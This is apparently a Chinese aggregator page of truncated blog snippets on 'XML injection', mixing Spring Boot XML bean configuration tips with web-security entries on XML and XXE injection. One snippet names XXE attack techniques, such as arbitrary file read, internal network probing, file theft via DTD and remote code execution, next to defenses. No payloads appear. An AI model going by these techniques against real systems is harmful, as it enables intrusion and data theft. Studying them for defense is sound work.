    spring-boot 引入xml注入bean 配置 public class TestServiceImpl implements ITestService{ @Override public void test() { System.out.println("TestServiceImpl.test()"); } } 接口 public ...
  • SpringBoot项目mapper和Mapper.xml注入问题

    千次阅读 2018-12-12 21:14:40
    1.第一次搭建SpringBoot...1.1mapp总是注入不了,在百度上找了一大圈,都是瞎白呼 解决方法: 在mapper接口上增加@Mapper注解 在pom文件中增加 src/main/java **/*.xml false 问题完美解决 ...
  • xxe,xml注入漏洞利用+防御+pikachu靶场+Xxe_lab靶场 总结 Xxe漏洞利用 任意文件读取 探测内网地址 通过DTD窃取文件 远程代码执行 Xxe漏洞防御 方案:使用开发语言提供的禁用外部实体的方法 1.PHP: ...
  • 2019独角兽企业重金招聘Python工程师标准>>> ...
  • GO语言学习——用beego框架搭建WEB安全小系统(4)命令注入与XML注入
  • 28. 注入篇——XML注入

    千次阅读 2018-03-03 16:57:14
    XMLXML是The Extensible Markup Language(可扩展标识语言)的简写。XML最初设计的目的是弥补HTML的不足,后来逐渐用于网络数据的转换和描述。XML的设计宗旨是传输数据,而非显示数据。目前,XML在WEB中的应用已经...
  • NULL 博文链接:https://moshow.iteye.com/blog/1606825
  • IOC操作Bean管理(Xml注入其他类型属性) 外部Bean,内部Bean,级联赋值,注入集合属性
  • 浅谈XML实体注入漏洞

    千次阅读 2018-06-30 20:56:56
    * 本文作者:Hu3sky@D0g3,本文属FreeBuf原创奖励计划,未经许可禁止转载学习了...0×00 XXE漏洞XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外...
  • Web安全之XML注入

    万次阅读 2015-09-06 08:36:19
    XML注入攻击,和SQL注入的原理一样,都是攻击者输入恶意的代码来执行自身权限以外的功能。 XML是存储数据的一种方式,如果在修改或者查询时,没有做转义,直接输入或输出数据,都将导致XML注入漏洞。攻击者可以修改...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 309,709
精华内容 123,883
关键字:

xml注入